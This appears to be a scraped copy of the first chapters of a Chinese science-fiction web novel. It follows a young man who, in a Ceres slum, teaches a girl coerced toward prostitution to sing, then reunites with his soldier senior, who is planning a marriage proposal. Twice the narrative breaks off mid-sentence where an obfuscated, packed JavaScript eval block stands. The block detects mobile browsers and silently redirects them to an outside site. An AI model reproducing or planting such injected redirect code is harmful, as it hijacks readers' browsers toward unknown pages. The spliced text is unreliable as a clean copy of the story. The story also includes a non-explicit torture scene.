《怒夜》 1. 灰色的音符 来自中层区的蒸汽式驿行火车停靠在布满青苔的站台边,古旧的金属轨道猛然喑哑作响,这辆老古董原地吭哧近三分半钟才将嘴张开,让路上饱受折磨的乘客匆忙逃离宛如在胃中翻江倒海一般的客箱,一股脑的向黯红色指示牌下的出口通道涌去。 阿什列卡被人群夹杂着下了车,历经三天的舟车劳顿,年轻人脸上带着些许疲惫和错愕,他甚至感到自己双脚并没有踏上地面,就像一锅面条中的任意一根,随着大流被倒在了旦加法音的土地上,这是他第一次来到这块被酒肉朋友打趣为贱民与逃犯收容所的下层区。 阿什列卡回忆起在两周前的晚宴上,宾客们衣冠楚楚,觥筹交错之间话题却朝着下三路走去,衣着追求华丽复古的女士们听了佯装害羞,将坠满羽毛宝石或是一笔墨痕十万信用点的扇子舞得呼呼作响,一位他记不得姓名,姑且称之为参与机械生命胚胎倾销可判60年的先生,他是宴会的组织者,这位60年先生以种故作神秘的姿态向客人们讲述了一桩他装作落魄商人微服私访谷神星下层区的艳事。 “那些人只看钱,哪怕是几分破币也会一拥而上,让他们做什么都行,包括那些乳臭未干小屁孩,小小年纪就已经与他们的穷鬼父母毫无区别,没有一丝该死的纯真。” 客人们纷纷对下层区人民生活表达了同情,言语之间却不经意透露出鄙夷与得意,甚至有些人围绕着孩子是否知道亲生父母是谁这个话题展开激烈的讨论。 最终宴会以阿什列卡愤然离席而结束,留下助理滴水不漏的回绝了每一位询问主星投资人去向的参会者。 旦加法音,一个注定被时代抛弃的城区,但是在这里,有一位他收到消息后必须去接的人。 火车站外有一块空地,流浪者聚集在一块,他们聚众抽着报纸和廉价烟草卷成的自制香烟,或是以不怀好意的眼神舔舐每一位路经的旅客,阿什列卡的拳头几次捏得邦硬,以为会发生当代流行的探险小说主角们普遍会经历的事——被打劫或敲诈勒索一大笔。 实际上,直到他快要走出广场,那些流浪汉只是瞟了他几眼便移开了目光,或许是他金灿灿的头发彰显了其并非中下层区的原住民,衣衫褴褛的流浪团体虽然贫穷,但他们更珍惜聚集到一块浪费彼此无用时光的日子,如果只是普通旅客,那自然是少不了毒打,而青年人第一眼看上去明显不是,他们并不想被卷入什么豪门少爷离家出走的戏码,有稍显富裕的甚至掏出不知道流转几手的通讯器,在窄小的屏幕上试图搜索出有无相关的八卦。 广场之外唯一的大路上堆满五花八门用来收过路费的路障,还有几条通往未知地带的小巷子,很像勇者在迷宫里艰难选择的岔路口,不过就在阿什列卡犯难时,他被拉进一条不知通往何处的巷子,年轻人没有感受到拉人者的恶意,身体骤然紧绷又促而放松下来,在彻底被巷子阴影吞没前,他听到了流浪团体看戏似的嗤笑。 巷子顶部交错着铁丝,这里的居民在它们之上挂满了款式各异的衣物,让十一月的阳光无法彻底照亮沤在石板上的淤泥,于是淤泥滋生出一种或是更多未知的苔状植物,双脚踩过仿佛鞋底抹了油,一路下来狭窄的通道四周传来了暧昧不清的动静,阿什列卡看向眼前瘦弱干瘪的小女孩,她的皮肤仿佛鼓面一般绷在大脸盘子上,五颜六色手法粗糙的妆容在光影斑驳的照射下,让整张脸看起来乱七八糟,她强行装作成年人的模样,头发却因为长期营养不良而根根发黄,看起来还是个黄毛丫头。 “旅途劳累,您需要我的服务吗?”像是要证明自己,小女孩不太自然的挺直了细瘦腰肢:“请相信我先生,只要两块硬币,就能让您舒服一次。” 他们头顶悬挂着设计颇为大胆的内衣,当窗户“砰”地打开时差点将内衣撞落,里面的人一张苍白脸吊着浓重黑眼圈,低头打量了下这位面容俊雅的年轻人,随即对女孩发出声怪笑:“就你?指不定谁占谁便宜。” 遂关上窗继续从事他的服务事业。 小女孩似乎有些局促不安,但今早神父先生的话又让她不得不鼓起勇气继续与客人交涉,以获取微薄的资源。 阿什列卡隐约听到远处传来阵阵念书声,大概是当地掌权者设立的宗教性质的学校,他蹲下身,温和地对小女孩道:“小姑娘,这个时间点你应该在学习。” 小女孩望着青年人温润如玉的脸庞不由出神,她第一次鼓起勇气寻找“客源”,忙乱抓到衣角后一直不敢正视其人,没想到拽进来的先生竟然比区长花园里的睦月神雕像还好看。 “我,我没有上学。”不知怎么的,面对青年人的话语她有些觉得难以开口,可眼前人的气质莫名亲和,说完后小女孩在他鼓励的注视下开始觉得一些话没有那么难说出来。 阿什列卡心下了然,又问:“这条巷子通往哪里?” “通往教会,先生。”小女孩明白眼前的人似乎并不想与她做生意,开始老实回答问题,心中祈祷能收到一些小费,也能完成教会派下的指标,让神父愿意给弟弟分上一些神明恩赐的圣药。 以往会有一位行踪飘忽不定的好心人时不时接济下姐弟俩,但那位好心人已经有三个月没有出现了,留下的钱财与药品在其离开后没能躲过教会的搜查,他们实在没有办法,还挨了主教的训诫。 “我听见那里有读书声,似乎是神典第六章‘神爱世人’,如果这是旦加法音的普遍信仰,教会应该提供免费的宗教教育,你为什么不加入他们呢?” 小女孩一时间并没有作答,小巷子里并非寂静之地,住户过着白天黑夜无异的生活,这里从早到晚都充斥着杂乱无章的响声,在两侧崎岖的墙壁之间来回反射,能听到百米开外的教会里正在教书,青年的基因序列应当非常靠前,如果她接受过学前基础知识的教育,会发现同归属于人类的他们,此刻正被破瓦空隙间漏下的同一块日光所笼罩,但在生物学方面早已产生了生殖隔离。 “先生,我是娼妓的女儿,没有资格沐浴神恩。”小女孩不知为何觉得阿什列卡会愿意听她的经历,她用露着脚趾的布鞋反复碾压苔藓,发出嘎吱嘎吱的声响,暗绿色的汁液随即沁入指甲缝中,好像这样的小动作能遮掩住她的尴尬与难堪:“神父大人说我前世有罪,这辈子才托生成娼妓的女儿,他曾说过,要我以与母亲相同的方式去赎罪,才能还清一家人恶果,如果不照做,他们就会找我的弟弟去。” 因为是冥古年的十一月,在这一年份中的第四季度正逢谷神星围绕天虹星的公转速度变快,不多时,光照便从两面墙壁的包夹中渐渐移至屋顶,仅剩的一些化作细小亮点闪烁在年轻人金色发丝间,他正思索着一路上看到的事物,包括眼前小女孩所说的内容,在这些由人类命运组成的故事里他不过是个过客,却很有可能是他人一生的缩影。 无论被大洪水淹没主板图的次级行政星海拉泽,因表层大气加速逸散而沦为人间地狱的马代星,还是旦加法音所在的衰败的谷神星,这些他星际旅行途经的星球上无一不刻下了悲惨的烙印,这跟其认知中社会环境正常应该有的摸样相左,或者说,自从他走出主星域后,看到的一切正在与规则脱节,众国早在“银河摆渡”大迁徙前以新纪元联合会的形式制定下和平发展法案,然而人们探索宇宙的进程太快,约束力跟不上星球占领开发的速度,偏远的主星域外星球便是重灾区。 阿什列卡想起谷神星七十六年前发生的归寂级战役,其带来的毁灭性打击堪称新纪元以来最残酷的大灭绝,以顽强到在哪都能扎根为特性的青谷稻作为近百年来人类最常食用的作物,便是那时在战争辐射的影响下遗传序列崩塌完全消亡,此地驻扎的人类自然也难逃此劫,却没有人愿意承担战争责任,曾今的农业畜牧业大星一度成为辗转在各方势力烫手山芋,直到几千光年之外的华夏共和国从联合会手中接过所有权。 而今不过重建二十余年, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15563201|171409||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 当他从火车车窗向外望去,稀松的黄灰色新型稻种勉强歪在尚有辐射的土地上,似乎将曾经的疮痍连同遗民的温饱一同盘错在根系间。 “我时常会梦到家门口青色稻谷在风中摇曳,母亲将它们洗净烹煮,妹妹用剩下杆子沾上肥皂水,我从泡泡里看到了身后蔓延开来的火光,以及在天空中炸裂开的人民丰收像。” “无法替逝者忘记痛苦,更没有资格让宽恕战胜报复,我没有一日敢停下向前的步伐。” 这是沉黎军事战争学院某教授以“忘却痛苦,重获信仰”为主题的开展活动时,一位名叫李稻青的学长在心德交流环节对活动进行的公开反驳,当年还是新生的阿什列卡与如今他要见的朋友就坐在后台对着茶歇风卷残云,等到学长发言完毕,他们将教授的传声器切断,换上了一首嘲讽神权派的口水歌,引发学员在活动上大规模躁动,在玄烛、湛渊、白麓等纵队的联名施压下,该教授因向学生灌输歪屁股观点而被解聘,只有他俩事后喜提警告处分。 神爱世人,不过是下层区借此谋利的臭虫抱团取暖而编织出的谎言,一些教会通过操纵歪曲的信仰控制没有机会打开窗户的人民,要世人对虚无缥缈的上辈子付出代价,又借此让他们的后代再也没有窗户,长期往复,人们对错误认知或是难以判断的事物失去分辨能力,一律理所应当地默认是人造神布下的规则。 阿什列卡沉默着直起身,小女孩似乎是怕他就这么走掉,立刻放下对苔藓的折磨,介绍自己也可以给他唱歌听,她会时下最流行的艳曲,也偷学过教会的祝福歌,说罢便眯着眼睛自顾自地哼唱起来,一副想拦不敢拦的样子。 他从背包里掏出一页纸,修长的手指将曲谱捏出痕迹:“你的嗓音很好听,我想雇佣你为我学唱这首歌,先付定金,等学会后再唱给我听,可以吗?”,随即执笔标注了基础读音。 女孩懵懂接过,所幸她的母亲生前没有放弃对她进行一些识字上的教导,拼音也算是差不多认全了,但她无法理解其中含义,只能看着力透纸背的拼音符号一字一顿地念道:“康开,曲?” “是慷概曲,一首来自大迁徙时期的歌曲。”阿什列卡慢慢纠正,他花了一个多小时教会小女孩整首歌正确的读音,两人就站在忽明忽暗的光线下断断续续地唱着,两侧楼房的住户们起初不断开窗叫骂他们打扰了自己白天那并没有什么人光顾的生意,小女孩开始有些焦虑,在看到金发青年坚定的神色后逐渐放下心来,一句一句问他歌词的含义,青年人也一一作答,如若四周无第三人般地沉浸在突如其来的歌曲学习中。 约一个半小时后,小女孩的歌声依旧有些走调,当她惭愧到想要说不收钱的时候,从悬挂设计大胆内衣的窗口却传来了那句乐段的标准唱法,带着点恨铁不成钢地意味,而对门的破碎漏风玻璃内也跟着接上了下一句,逐渐地,大半条巷子回荡着此起彼伏的“起来我的同伴,拿起工具抗争到最后”、“不要让蛀虫伪装成救世主”、“献给我爱的人民与母国”等唱段,他们音调准或者不准,激昂愤慨或是小声哼唱,交织相应下竟在小巷子里隐约盖住了教会的赞美诗。 天色将晚,青年将一卷纸币隐晦地塞进女孩的手中,看着她匆忙将钱塞进裤子内袋,便背起行囊踏着满地淤泥走进了旦加法音今天最后的日光里。 此时广场与先前懒散的氛围完全不同,原本空旷的场地像是流水席一样布满了各式摊子,有些二手小商品的摊位恨不得在原有基础上再叠加一层,人们都在为夜市的准备忙碌着,烟熏火燎的场景是阿什列卡从未见过的,他来到一个看起来慈眉善目的地沟烤肉摊主面前,然后被敲了三十枚硬币才得到他们口中“怪人”的住址。 老摊主目送散财童子离去,可能是良心发现了,扯嗓子在身后补充了一长串:“刚才有个送水的跑腿看到他不知道从哪又冒了出来,人在交易站横着,说是凶神恶煞,切勿招惹,小伙子,你可小心点。” 2. 旧焰 大抵是夜生活即将开始,地下交易区比白日还热闹,晚六刻的钟声将黑白地界划分开来,形形色色的商贩从角落通道里涌出,按照以往凭借拳脚划分的区域,纷纷在自己地盘落下窝。 各平层之间由暴露在外的管道纵横链接,在这之上还有一种商人,他们特制的长筒鞋袜可以无碍地行走于这些管道上,年久失修的裂隙处蒸汽嘶嘶喷涌,让他们的靴面凝满细小水珠,尽管底下是深不见底的巨洞,脚下颇为湿滑,也让这群穷困无法租赁摊位或是身份异常的走货郎有些许营生之处。 顺着自由摊位往地下深处去,越是珍奇、危险的商品越随意散落摆放,不少摊主恨不得将其塞到路人眼皮底下,以彰显自己的实力横强,四周不规则岩矿故意未切割掉,犬牙交错似的横在下行道路,去往深处的道路蜿蜒曲折,拐过四十六道弯后,阿什列卡的天然皮质短靴与碎石块摩擦得底都快被扎烂,他毫不怀疑打家劫舍的事情在弯道隐蔽处时有发生。 “先生!先生!不能再加价了。”不远处公平交易站的店员满头是汗,肢体语言故作夸张,他一边挥舞着手臂一边心中责怪自己,就是因为早上起迟,出门前没有照例读一遍赞美诗,才会临下班了遭遇怪人突袭。 交易站位于洞窟目前开发到的最底层,不少好事的路人借着挑选货品的动作,借机近距离观看站内焦灼的现场,人群发出看好戏的呼声,也有不怕事的雇佣兵直接往门口几位彪形大汉身边站定,粗壮的胳膊搭载交保镖肩上,嬉皮笑脸赶也赶不走。 店员瞥了一眼躲在橱柜后方咬牙切齿的副经理,又看了眼面前孔武高大的男人,在被扣薪水只能吃拳头大的馒头,和可能会吃馒头大的拳头中做出抉择,他凑上前轻声商量:“老扒皮再后面看着呢,就刚才的价格,我一会偷偷补给你第二次报价的差价。” 男人也不愿多为难打工人,他示意身后的孩子们将门外货物一一搬进,接过副经理从柜台里掏出的现钞开始清点。 奇怪的是,他的交易品赤裸裸放在门外一群亡命之徒面前,竟没人敢上前翻看,找乐子的围观群众不约而同站在那堆被星兽皮毛包裹的电子元件五米开外,显得凑近清点数量的阿什列卡很呆。 “喂,那个,那个脚上有真货的金毛小子。” 阿什列卡抬头望去,一个上半身衣冠楚楚,西装套装熨烫挺直,鞋子洞眼却夸张到离谱,大概率是自己烫出来的年轻男人在对他喊话,他精准锁定那个精神小伙,礼貌性地颔首致意。 “看,他的项链!”精神小伙被同伴捅了捅,这才发现呆头鹅抬头间衣领略微松动,对时尚嗅觉灵敏的萨普眼光毒辣,发现修长的鹅脖子上疑似戴着只在奢侈期刊上出现过的西山王石。 上个纪元人类还未走出太阳系时,一位富商为了找到能通过辐射将人类细胞分裂速度减缓,以达到长寿目的的物质,斥大半身家组建探索队在某颗环境恶劣凶险的边缘行星上寻宝,最终发掘出一块特殊元素组成的自发光天然石,探险队的冒险经历被改编成多版经典电影,而那颗天然石则被富商私藏,最终到底还是没能改变他的寿命。 但百年后富商子孙将石头带去联盟矿石研究机构鉴定,学者们还真破解了天然石光芒的秘密,他们在石芯部分找到一缕“沉睡”的无意识精神物质,此后相关故事流传更甚,探险队与天然石的传说又被带到了新纪元。 呆头鹅脖子上的那块外表晶莹,细看却不是一眼能看到底的透度,墨绿色的幽光萦绕在石块内部,愈到底愈浓稠,仿佛能将人视线彻底吸收进去,不规则的边角由白若凝脂的细小玉珠点缀,再往外,边缘以散发幽蓝光泽的贵金属镶边,哪怕是假货,也价值不菲。 他是怎么安然无恙到达的? 精神小伙与同伴都不太理解,为什么向来凶残的居民没将那小子抢到连器官都不剩。 阿什列卡顶着一张温良的脸,从主星出发来此,他见过太多心怀鬼胎的人,没有太多域外社会经验的他非常害怕与人发生冲突,为了保全自己,一路上将觊觎他的财产或是他的□□的法外狂徒揍得不成人形,打完晚上翻来覆去睡不着,深怕第二天再被人欺负。 “你在叫我?”他向精神小伙走去。 精神小伙发现站在面前的人比他高上两个头,气焰瞬间矮下一截,到嘴边说教的话改成了规劝:“新来的吧,那堆货都是我们这怪胎的,脾气超级差,瞧见他胳膊没有,一拳能打死两个我,没什么事咱还是别去惹他了。” 同伴也随声附和:“上次在怪人家楼下路过,他跟我擦肩而过,就那么几秒我鸡皮疙瘩全不自觉起来了,也不知道他平时到底干什么的,我把跟在他身后得小屁孩落下的破袋子递过去,明明是道谢,我却有种被人盯上的感觉,实在太瘆人。” “他平时人挺好的。”阿什列卡解释道:“你们遇上他的时候,他估计是没吃饱饭。” “啊?你说他是好人?”精神小伙有点懵,呆头鹅该不会是以貌取人,见怪胎一副正气凛然的面容就打上好人滤镜。 小孩们动作灵活,很快便将货物搬进交易站,室内传来副经理不满的大声哼哼。 “快看,他要出来了。”周围人鸟兽做散,精神小伙想忽悠看起来不差钱的金毛雇他做向导,也跟着人群将潜在老板带开。 怪人被孩子们簇拥着迈出大门,阿什列卡谢绝精神小伙的好意,挥手快步迎去。 “师哥!!!算错了,算错了!”他在旁人惊讶的神情中一把拽过男人,两人对视一眼,立刻同仇敌忾折回去找那奸商。 阿什列卡据理力争,怪人板着脸,实际上大脑在放空,他倚靠柜台边,只在阿什列卡询问货物数据时提上两嘴,大有不把帐算清不肯走之势。 被副经理推出来的店员有苦难言,老扒皮吃了熊心豹子胆,竟然当着怪人的面缺金少银,这怪人今天也有些心不在焉,现钞在手里过了一遍,等于体验一番验钞的手感,完事了什么也没算出来,老扒皮差点都笑出声了,刚才被不知道怎么的从隔音墙外听见交易内容的金发青年冲到脸前,一巴掌拍在柜面上吓得他险些没咳过去。 店员扬起笑容开启您说的都对模式,阿什列卡商人本性大爆发,故意小刀一点点划拉般的讨价还价,让店员下班的时间再度推迟,双方都急于达成交易,副经理也怕怪人用拳头将市场管理机构喊来,最终同意了师兄弟俩狮子大开口的要价。 再次踏出交易站,阿什列卡叹了口气。 “师哥,你离了我们怎么活啊。”他愁道。 男人不以为意,有些疲惫地捏了捏鼻梁,酸胀感稍有缓解:“才从洛川星出任务回来,刚才差点睡着,老东西手脚不干净多年,偷梁换柱的经验比关狱城的贼都老道。” 他随即从旧夹克摸了几张大额现钞扔给仍然等在外面的精神小伙们,萨普一伙人受宠若惊,再多的恐惧都立刻化为优秀的服务态度,男人摆摆手,让他们带一直跟在身后的孩子去采买日用品,完事后吃顿好的护送回福利院,多余部分算是小费。 “怪胎让我们办事居然还给钱。” “泪目了,他拿我们当人看。” “上次他还跟我说谢谢,真是个好人啊。” ...... 一帮人高高兴兴走远,阿什列卡遥遥听见精神小伙们的感叹,不由心下大悲,生活和军部的毒打到底还是把他师哥蹉跎成人见愁的模样,仔细一想竟比在学校时人缘更差。 他仔细打量师哥,没有明显受伤的迹象,仅是神色并不是很好,身为人类联盟唯一还活着的超星级深空作战员,能累到当众打瞌睡的也是活久见,看来轮职洛川战区,那边的将官把师哥当牲口使。 不过,师哥因独立任务被特招进任职兵团的先锋军,背负数十年的处罚借此解除,多年压制的军功即将一并授予,曾经放逐他的家族也想将其重新接回,苦日子快到头了。 男人被师弟看得有些不自在,他一下飞行器就直奔交易站,长时间枯燥的太空生活让他不甚在意外表,常年胡子邋遢,不修边幅,同事间的取笑也没放在心上,难不成现在的样子真像同事说的老寡夫? 还未等他开口询问,阿什列卡率先道:“师哥住哪?按照你讯息说的,我们休息到15号再收拾行李,绕路海拉泽的一号卫星,那有最大的天然石交易市场,或许我们能赶在下月初先锋舰出发前找到合适的戒面。” 两人行至一处破败的矮楼,密密麻麻的隔间里住满了附近的流民,宛若鸽子笼,污水、垃圾、粪便、工业废品,甚至还有用过的保险套,组成了出行的障碍物,楼道间叫骂声震响阿什列卡身体左侧,居民平日互骂垃圾制造者,但没人想要清理卫生。 阿什列卡踮着脚尖跟随师哥进入一间简洁到毫无生活气息的屋子,待电子门发出沉重的闷响声,才将鼻腔中的一管气尽数呼出,享受经楼栋集成过滤器筛过一遍的氧气。 “提前一周出发。”师哥仿佛才从梦里回过神来,他招呼阿什列卡自便,随即去卫生间仔细刮完胡子,搓了把脸对着镜子反复照好几下,才满意地横在沙发上。 金毛师弟不跟他客气,行李包不过是体验旅途的摆设,真正存储工具是他手腕上的翠月石手链,他将袋子正正地放置在鞋架中央,也蹦到沙发另一端。 “啊?”阿什列卡端详师哥突然变光滑干净的面容,此人原先的野兽派帅气随着胡子褪去,露出较为古典的英挺相貌,浓眉飞入鬓角,眼眸灿若星河,他的基因来自从上个纪元传承下来的华夏远征军世家,阙氏族群中最纯粹的一脉血统在其身上发挥得淋漓尽致。 “燧木前天解封,阿宴这些年一直在帮我升级祂的性能,我与祂的契合度远远高于方案的标准,我们的驾驶速度应该会比军部预设的时间要快,预计可以先原计划三个月左右到达与不周山的对接坐标,不过,我们得走另一条航线。” 阿什列卡不禁感叹,别的兵团都是富养深空作战人员,用大把资源堆积出寥寥无几的合格者,可目前主星域的深空驾驶领域依旧未突破几十年前师哥留下的记录,深陷技术瓶颈。 而因为师哥背负处分,玄烛兵团无法对师哥进行资源扶持,他轮岗解决别的战区最棘手的深空作业,领着最低标准工资,可谓苦其心志,劳其筋骨,当然,也算是饿其体肤,他能够再次超过研究院预设的速度极限,这些苦差大概率是出了一份力。 阿什列卡从柜载冰箱捞出两瓶平价营养剂,一口闷完无丝毫饱腹感,很难想非工作状态下没有食堂,师哥是怎么吃饱的。 师哥抢过大号维生果冻,像吃零食一样两下嚼干净,接着说:“我要走的航线途径北海陨石带,对穿越速度要求非常严苛,与我同行 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15563202|171409||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的淮为身体素质无法承受加速度的影响,他的望涯号的性能虽在一线,但并不算顶尖,他们必须按原计划航线驾驶,我想...先行出发.....跟淮为那小子在不周山上汇合....”他素来话多,这会难得含糊其辞,想装困倦口齿不清掠过这段:“我跟团长打过报告,放心。” 阿什列卡翻个面:“你想打个时间差,甩开淮为学长,一个人狂奔到不周山号上与他哥偷情。” “严格来说不是偷情,是求婚。”被戳穿后师哥索性不瞒着被自己叫来的同谋犯,他伸出长臂,点点茶几上的小本子:“看,联合协会发给我俩的结婚证。” 阿什列卡顿时来了精神,他有很多问题汇聚在嘴边,为了流畅地获取八卦跟好友分享,他耐着性子盘问:“我以为你约我买戒指,是为了等先锋军接到不周山舰队回主星域后,你一下星舰就能跪地求婚,如今因哥离主星近百万光年,难不成能跟你隔空领证?” “华夏民政协会负责人特批的。”师哥被点破后倒也坦率:“只要淮因在上面签字,我们的婚姻关系在深空就能立刻生效,回程后走程序报备即可。” “都走协会的关系了,危月宴学姐和李稻青知道吗?” “不知道,民政的人答应我不外传,如果不是求婚计划有你和团长的份,我连你们都要瞒,等回来后给大家一个惊喜。再说,他俩的婚礼不也是突然把我们拉到现场的吗?”师哥还在畅想未来。 阿什列卡继续:“淮为知道你要跟他哥求婚?” 话题到这,师哥颇为无奈:“没敢让他知道,怕揍我伤到他的手,所以我才提前跑路跟他错开,这次与远征军对接先遣舰一共就我俩,先锋舰队要晚很久才到,到时候连个拉架的人都没有,燧木ai也是个喜欢拱火的,说不定还会帮着淮为谴责我。” “在你出发后我得给有的人打预防针,以免日后在淮因学长面前冒昧出现。”阿什列卡有些幸灾乐祸,从小看不顺眼的死对头暗恋无疾而终,如果不是怕被揍,他恨不得立刻就敲锣打鼓告知这桩令其心碎的消息。 “有的人?是谁跟阿因有关系?” 要说这位师哥在学院也是位奇人,明明家世优秀,样貌齐整,理应亲朋好友一大堆,却因嘴上不留情以及过于直楞的性格气煞旁人,也不知是装的还是天生的,他通常能在不经意间,故意不小心点出他人弯弯绕绕中的目的,遇事不决喜欢以暴制暴解决,人生信条就是大力出奇迹,即使他立场正确也得罪了不少人,不过在自身实力加持下,求学之路一帆风顺。 直至毕业时,师哥想与恋人淮因一同加入远征军,在家族与军部某一支势力联合设计闯下大祸,虽保留了军籍,几十年来一直处于戴罪立功的状态,轮岗出任务不涨工资和军衔,也没有氏族依靠,他们都害怕阙时宪元帅那一脉最纯正的血脉中再出将星,桌面重新洗牌,家族旁系担心他远征归来后升迁高位,踏入混乱的时局,掀起阙家动荡。 以上结论由玄烛兵团的小伙伴们分析而出,他们至今没能找到明面上的始作俑者,师哥却意外的成熟起来,让同伴切勿轻举妄动,不管是否被人设计,他要为犯下的错误赎罪,逐渐淡出主流视野,旁人唯有惋惜。 雄鹰从长空跌落并未就此安于走地鸡的身份,此前的爱慕者依旧蛰伏其周身,他们中有人病态暗恋,克制本能安于以朋友身份相处,也有人妄图利用他落魄处境想控制他,都像一拳打在棉花上,被他的直楞脾性化解开来。 当然,这群人中最疯的,也是最早离开师哥身边的那位却即将成为其求婚对象,阿什列卡由衷觉得当初设计害两人分离的势力应该感谢师哥情深不渝,他不太敢想等淮因学长远征七十多年回来,积累的战功直奔上层将官,再加上比蜂窝洞还多的心眼,会用怎样手段回击。 沉寂的天虹星即将踏上他迟来的征途,为人类远征军照亮归乡的路,华夏共和国有个成语叫什么来着,范进中举? ‘笨,你这词太不中听,师哥知道了能揍你 ^_^。’耳边传导器中传来清脆的女声。 阿什列卡听着师哥喋喋不休对求婚的计划,没敢调取全息屏通讯,脑海中啪啪摁着模拟键盘,跟好友天婴分享师哥与他暗恋对象们的事迹,二人无声感叹木头师哥对疯批的捕获力度竟然如此之大。 在华夏主星一间不起眼的港口仓库里,偷渡客满脸惊恐,挨上两针肌肉溶解剂的他被捆在竖起的战地车轮胎上,眼睁睁看着人偶娃娃模样的女孩哼着歌,把识海读取器的控制接口探针扎入他的大脑中,忽然不着调的歌声停止,他更加害怕,施刑者本面无表情地脸上浮出诡异笑容。 “刺啦——”狭小的室内瞬间溢满皮肉烧焦的味道。 偷渡客瞬间翻起眼白,半月前手术封存的记忆尽数化为文字形式展现,成段的句子如同密密麻麻的爬虫,数以万计的字符翻腾在整面墙制成的巨大光屏上,最终刷出完整的话语。 “呀!”女孩小声惊讶出声,全息通讯另一端的人立刻让她保持安静,别让八卦对象发现了他俩连麦的动静。 光屏之上布满一行行代表痛苦仇恨的锐利字体,它们不断打散再生,组成重复的句子: ——十二月一日,盛宴开场,外域轨道,击毙人员:悬桥计划先锋军阙呼星少校、监督官淮为中校。 ——天佑慧神。 3. 尽瘁 华夏共和国实行层级管理,往简单来说,共和会按照席位投票决定将官任免,制定独属军部体系的律法,军部则统帅各战区,隶属于战区的主战师和独立兵团长各自负责各家的驻地星球,驻地星球又由校级军官以营的形式驻扎领导,权力层层下分,总控制权依旧集中掌握在共和会手中,以便于国家维护分散在主星域外的星球资源,同时也用军备力量保障了分散在域外的驻地星球行政权。 以玄烛兵团为例,隶属于南冕战区,战区下设三支主战师、八个独立团,分别驻守四十六颗星球。玄烛为独立团,由团长十夜无难带领,不同于南冕的主战师长期逡巡在白冠星与冠军α、β两个卫星之间,玄烛兵团的据点位于小行星黎明哨上,大概是白冠星五分之三的大小,团长麾下分出六个营:一七、一九、二四、二八、三零以及新成立的机战六一营,也就是阙呼星在完成先锋军任务后将上任的地方。 少校,在新纪元的人类联盟里是一个刚刚可以进入大众视野的军衔,处于这个位置的军官通常是能够在兵团里带领一方势力的存在,他们刚好拥有在三等域外行星上驻地的资格。 然而,在阙呼星身上剧情相反,比迟来的少校军衔更早入人眼前的是他曾经犯下的过错,一次查无源头的干扰信号,一步之差,需要数十年去弥补,现实的毒打让本吃喝不愁的少爷变成了一分钱掰两半用的抠搜社畜,再次踏进议论中心的他只关心自己率领的营能不能吃饱饭。 师兄弟久别重逢自是话多,经过一夜休整后两只人形语音机电量充足,忆往昔岁月到吐槽近期遭遇,嘴就没停下过,如果其他好友在场,恐怕早已借口出门遛弯了。 阿什列卡本以为师哥家看着简洁大方,近年品味有所提升,从原本花里胡哨的调色盘转化为闲云野鹤看淡名利的审美,没想到他是真的穷到基础装修都舍不得。 尽管阙呼星出事已久,但因为频繁轮战区出任务让他跟好友们聚少离多,多时未见,阿什列卡依旧无法将曾经锦衣玉食的氏族子弟跟手里的清汤寡水挂钩,他在碗中捞了两下,良好的用餐礼仪没有让他对根本不存在的肉食搅下第三筷,过于清澈的汤底有些少爷性子发作,愈吃又止,最终想起路途中目睹的饿殍遍野的场景,把毫无滋味的面嗦进胃里。 阙呼星同样捧着海碗将素面往嘴里倒,师兄弟食量惊人,二人埋头苦吃,等到阿什列卡感到肚子里晃荡满了白面条时,他才开口道:“师哥,这就是你说好的招待方式?咱俩出去吃顿好的吧。” 阙呼星露出疑惑的表情,他觉得在这里能吃上非预制的健康食品已经很奢侈,更何况这面条都是他亲自擀的:“嗯?不好吃你这不是全吃完了。” 阿什列卡放下碗,诚恳道:“我为以前奢侈作风感到惭愧,怪不得老大总是让我出门走走,他是对的。” “.......孩子长大了,师兄甚是欣慰。” 远处敲钟人击响晷盘,这种大灭绝前留下的计时工具罕见的没有在战乱中摧毁,老古董留存到现在已经晋升为下城区科技程度较高的物品了,无需其他辅助手段,仅凭特殊的材质便能让钟声传播到旦加法音大部分角落,对于居民来说,意味着新的一天正式开始。 扯淡间阙呼星刷完碗筷,正换上一件洗到发白的工装,阿什列卡端详师哥忙前忙后,眯起的眼角略微下垂:“在收到你的讯息后,宴姐也来找过我,她让我带句话。” “什么话不能直接跟我说。”阙呼星本能地感到恶寒。 阿什列卡没有正面回答,倒是问起他下一步的打算。 “团长应该跟你通过气了。”阙呼星将飞梭配件整理进与他同款发色的工具包,阿什列卡认出了这只银灰色的袋子,还在学院纵队时,此人第一次赢下后淮因学长后,让学长每天抽出空余时间缝制的战利品,顾及到学长的面子,他把人带到自己宿舍偷偷缝。 这是阙呼星离开家族前为数不多的携带物,几十年过去依旧保存如新。 “我的营要在谷神星驻地,谷神星特殊之处在于它是由之前的一等星球降为三等的,驻地费用以及后面要上交的税收远高于同级别的星球,彻底拿下已经掏空团里的大半预算,后续建设也只能继续勒紧腰带过日子了。” 谷神星原属人类联盟,是一颗为无国籍人们提供住所和工作岗位的农业星球,华夏共和国生态院的科研团体在上面驻点研究出青稻谷,极大地提升了当地作物产出量,解决了因战争而流离失所的人民的粮食问题。 